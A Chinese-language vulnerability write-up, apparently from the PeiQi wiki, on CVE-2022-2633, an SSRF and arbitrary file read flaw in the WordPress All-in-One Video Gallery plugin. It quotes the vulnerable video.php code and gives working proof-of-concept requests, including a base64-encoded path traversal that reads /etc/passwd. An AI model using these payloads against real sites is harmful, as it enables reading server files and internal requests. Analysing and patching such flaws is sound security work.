← 返回列表

WordPress All-in-One Video Gallery 任意文件读取漏洞 CVE-2022-2633

单站 PeiQi文库 发布 Mon, 10 Oct 2022 19:33:00 +0800 入库 2026-11-18T07:44:02

原创 PeiQi文库 2022-10-10 19:33 湖北

WordPress All-in-One Video Gallery video.php 任意文件读取漏洞 CVE-2022-2633

WordPress All-in-One Video 插件 Gallery video.php文件中存在SSRF以及任意文件读取漏洞,攻击者通过发送特定的请求包读取任意文件

WordPress All-in-One Video Gallery \<= 2.6.0

All-in-One Video Gallery
https://downloads.wordpress.org/plugin/all-in-one-video-gallery.2.6.0.zip

对比漏洞修复的文件找到出现漏洞的文件

wp-content/plugins/all-in-one-video-gallery/public/video.php

这里接收 dl 参数,dl 参数不为 数字类型时,参数将 base64 解码传入

if ( is_numeric( $_GET['dl'] ) ) {

$file = get_post_meta( (int) $_GET['dl'], 'mp4', true );

} else {

$file = base64_decode( $_GET['dl'] );

}

if ( empty( $file ) ) {

die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );

exit;

}

当传入的参数中不存在 http:// 或 https:// 时,参数 $formatted_path 的值改变

当 $formatted_path 为 url 时存在 SSRF漏洞,传入 base64编码 的目标URL就可以得到回显

/index.php/video/?dl=aHR0cHM6Ly93d3cuYmFpZHUuY29t

看向代码最后的片段,则存在任意文件读取漏洞

/index.php/video/?dl=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~
在线文库: 
Github: 

http://wiki.peiqi.techhttps://github.com/PeiQi0/PeiQi-WIKI-Book

原文链接:https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247493613&idx=1&sn=589006eac3082d74820d6bd6e575cf60